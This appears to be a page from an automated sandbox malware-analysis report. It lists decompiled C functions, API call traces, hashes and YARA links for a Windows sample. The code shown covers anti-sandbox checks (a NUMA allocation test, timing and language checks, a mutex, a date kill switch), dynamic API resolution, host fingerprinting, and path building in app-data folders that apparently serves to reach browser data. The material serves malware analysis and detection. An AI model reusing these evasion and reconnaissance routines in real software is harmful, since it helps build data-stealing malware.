RegOpenKeyExA.KERNEL32(80000002,007C2788,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.KERNEL32(?,007C8FA8,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;
				int _t8;

				_t8 = GetCurrentHwProfileA( &_v132); // executed
				if(_t8 == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2cd
0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A3F0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				intOrPtr _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1c); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t55 =  *0x41a74c; // 0x7c7950
				 *0x41aa24( &_v540, _t55);
				_t40 = E0040BB70( &_v540); // executed
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407690( &_v540,  &_v12,  &_v8); // executed
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407590( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				E00409DC0( &_v276, _a8, _a12); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a3f9
0x0040a400
0x0040a413
0x0040a421
0x0040a434
0x0040a446
0x0040a459
0x0040a45f
0x0040a46d
0x0040a47a
0x0040a47f
0x0040a484
0x0040a495
0x0040a49a
0x0040a49f
0x0040a4a9
0x0040a4ae
0x0040a4ae
0x0040a49f
0x0040a4d9
0x0040a4f0
0x0040a50b

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A434
lstrcat.KERNEL32(?,?), ref: 0040A459
lstrcat.KERNEL32(?,007C7950), ref: 0040A46D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,007C7DE8), ref: 004076E3

Strings

Py|, xrefs: 0040A45F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: Py|
API String ID: 4178457443-884148234
Opcode ID: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction ID: ce2022d65494d5f93f85b5e78ccbe9f151ffe9191f3f48bd5557e70587304a2b
Opcode Fuzzy Hash: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction Fuzzy Hash: 743164B6D1010CABCB14DFD4DC85EDE737CAB5C304F044599F605A7181E678A794CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A510, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040A510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				intOrPtr _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1a); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t50 =  *0x41a74c; // 0x7c7950
				 *0x41aa24( &_v540, _t50);
				_t37 = E0040BB70( &_v540); // executed
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407690( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407590( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a519
0x0040a520
0x0040a533
0x0040a541
0x0040a554
0x0040a566
0x0040a579
0x0040a57f
0x0040a58d
0x0040a59a
0x0040a59f
0x0040a5a4
0x0040a5b5
0x0040a5ba
0x0040a5bf
0x0040a5c9
0x0040a5ce
0x0040a5ce
0x0040a5bf
0x0040a5f9
0x0040a614

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,?), ref: 0040A579
lstrcat.KERNEL32(?,007C7950), ref: 0040A58D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,007C7DE8), ref: 004076E3

Strings

Py|, xrefs: 0040A57F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: Py|
API String ID: 4178457443-884148234
Opcode ID: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction ID: 5929abeeef62401985c717085424f3a4adc1c8890c023943e0da9d73f2acd4ec
Opcode Fuzzy Hash: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction Fuzzy Hash: 183121B6D0010CBBCB14DF90DC85EDE77BCAB5C304F0445AAF609A7181EA74A798CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22);
								CreateThread(0, 0, E00406650, 0, 0, 0); // executed
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7); // executed
						continue;
					}
					break;
				}
				E0040BFA0(_t16); // executed
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0CE0), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007AEC90), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007AA808), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0C20), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0D10), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0BA8), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0C98), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007B0C38), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007AA868), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,007AA728), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(007B0BF0,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(007B0C08,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,007B0C68), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNEL32(00000000,00000000,007C4FF0,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7698), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C76C8), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C5090), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7488), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C75D8), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7608), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7620), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7398), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7410), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7530), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7440), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7638), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7590), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C50B0), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C7428), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007C50D0), ref: 0040C62A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,007C5010), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 00413640, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413640(void* __ecx, signed int _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t29;
				intOrPtr _t31;

				_t29 = E0040B590(__ecx, 0x4098); // executed
				_v16 = _t29;
				if(_v16 == 0) {
					_v32 = 0;
				} else {
					_v32 = E00411970(_v16, _a16);
				}
				_v8 = _v32;
				_t43 = _v8;
				_t31 = E00411B30(_v8, _a4, _a8, _a12); // executed
				 *0x41ac84 = _t31;
				if( *0x41ac84 == 0) {
					_v28 = E0040B590(_t43, 8);
					_v12 = _v28;
					 *_v12 = 2;
					 *((intOrPtr*)(_v12 + 4)) = _v8;
					return _v12;
				} else {
					_v24 = _v8;
					_v20 = _v24;
					if(_v20 == 0) {
						_v36 = 0;
					} else {
						_v36 = E00413700(_v20, 1);
					}
					return 0;
				}
			}

0x0041364b
0x00413653
0x0041365a
0x0041366d
0x0041365c
0x00413668
0x00413668
0x00413677
0x00413686
0x00413689
0x0041368e
0x0041369a
0x004136d2
0x004136d8
0x004136de
0x004136ea
0x00000000
0x0041369c
0x0041369f
0x004136a5
0x004136ac
0x004136bd
0x004136ae
0x004136b8
0x004136b8
0x00000000
0x004136c4

APIs

new[].LIBCMTD ref: 0041364B
codecvt.LIBCPMTD ref: 004136B3

Part of subcall function 00411970: new[].LIBCMTD ref: 00411A44

new[].LIBCMTD ref: 004136CA

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: new[]$codecvt
String ID:
API String ID: 1685477457-0
Opcode ID: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction ID: a1b1ca698d1ad89a320e59bbb21285d2f772f5ee2dd8fda06eeaf7bcf1bfc66a
Opcode Fuzzy Hash: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction Fuzzy Hash: FA213BB4D00209EFDB04DF95D945BEEBBB0BF48304F10856AE515A7391E7786A80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B950, Relevance: 4.5, APIs: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B950(long _a4) {
				void* _v8;
				char _v276;

				_v8 = OpenProcess(0x410, 0, _a4);
				if(_v8 != 0) {
					 *0x41aa48(_v8, 0,  &_v276, 0x104); // executed
					CloseHandle(_v8);
				}
				return  &_v276;
			}

0x0040b96a
0x0040b971
0x0040b985
0x0040b98f
0x0040b98f
0x0040b99e

APIs

OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
CloseHandle.KERNEL32(00000000), ref: 0040B98F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction ID: 4035e9000058296a7c7a5903da9dc5bd4091d8f519d6fc060cff408344c9d26b
Opcode Fuzzy Hash: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction Fuzzy Hash: DAF030B494130CFBDB15DB94DD4AFEA7778EB08700F1044A4FB15A7290D6B05A94CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A620, Relevance: 3.8, APIs: 3, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040A620(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B720( &_v532, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B800( &_v268,  &_v532, 0x1a); // executed
				 *0x41aa24( &_v532, _a4);
				 *0x41aa24( &_v268,  &_v532);
				_t35 =  *0x41a210; // 0x7c7a10
				 *0x41aa24( &_v268, _t35);
				_t26 = E0040BB70( &_v268); // executed
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					_t50 =  *0x41a83c;
					if( *0x41a83c == 0) {
						E00405420(_t35);
						 *0x41a83c = 1;
						_t38 =  *0x41a6a8; // 0x7c7908
						E00407900(_t38, _t50, _t38);
						_t46 = _t46 + 4;
					}
					return E004096E0(0x41401a,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a635
0x0040a646
0x0040a654
0x0040a667
0x0040a67b
0x0040a681
0x0040a68f
0x0040a69c
0x0040a6a1
0x0040a6a6
0x0040a6a8
0x0040a6af
0x0040a6b1
0x0040a6b6
0x0040a6c0
0x0040a6c7
0x0040a6cc
0x0040a6cc
0x00000000
0x0040a6f4
0x0040a6fa

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000001), ref: 0040A667
lstrcat.KERNEL32(?,?), ref: 0040A67B
lstrcat.KERNEL32(?,007C7A10), ref: 0040A68F

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00405420: lstrcat.KERNEL32(?,007C2160), ref: 0040549C
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C5130), ref: 004054B0
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C70A0), ref: 004054C4
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C2160), ref: 004054D7
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C5130), ref: 004054EB
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C7088), ref: 004054FF
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C2160), ref: 00405512
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C5130), ref: 00405526
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C70B8), ref: 0040553A
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C2160), ref: 0040554D
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C5130), ref: 00405561
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C7130), ref: 00405575
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C2160), ref: 00405588
Part of subcall function 00405420: lstrcat.KERNEL32(?,007C5130), ref: 0040559C

Part of subcall function 00407900: GetEnvironmentVariableA.KERNEL32(007C71C0,0041B488,0000FFFF), ref: 0040792E
Part of subcall function 00407900: lstrcat.KERNEL32(?,0041B488), ref: 0040795D
Part of subcall function 00407900: lstrcat.KERNEL32(?,004191E8), ref: 0040796F
Part of subcall function 00407900: lstrcat.KERNEL32(?,00000000), ref: 00407980
Part of subcall function 00407900: SetEnvironmentVariableA.KERNEL32(007C71C0,?), ref: 00407994
Part of subcall function 00407900: LoadLibraryA.KERNEL32(007C4DB0), ref: 004079B2
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C7E18), ref: 004079D7
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C7E30), ref: 004079F0
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C82B0), ref: 00407A08
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C7E60), ref: 00407A20
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C8250), ref: 00407A39
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007C7E78), ref: 00407A51

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID:
API String ID: 1979142406-0
Opcode ID: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction ID: f28decca28addda6498ee9190a0ca9526165cf385ec8dc0d29a16be75cd48475
Opcode Fuzzy Hash: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction Fuzzy Hash: 1C2178B650010C6BCB10EF91DC85EEA3378AB58304F04456EF55993191EBB9E5E4CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401020, Relevance: 3.0, APIs: 2, Instructions: 15
sleepCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401020() {

				while(1 != 0) {
					if(E00401000() != 0) {
						ExitProcess(0);
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x00401023
0x00401033
0x00401037
0x00401037
0x0040103f
0x0040103f
0x00401048

APIs

ExitProcess.KERNEL32 ref: 00401037
Sleep.KERNEL32(00000064), ref: 0040103F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction ID: 1b7db58ca50fc4e91bd76126263a2bbaa1e68ad880045a45de6996aea228be6b
Opcode Fuzzy Hash: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction Fuzzy Hash: C7D0127128534547F61433E55D06B66739C5B54785F004032BB41E5AE2DE7DD8E0C67F

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x7c4ff0
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNEL32(00000000,00000000,007C4FF0,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

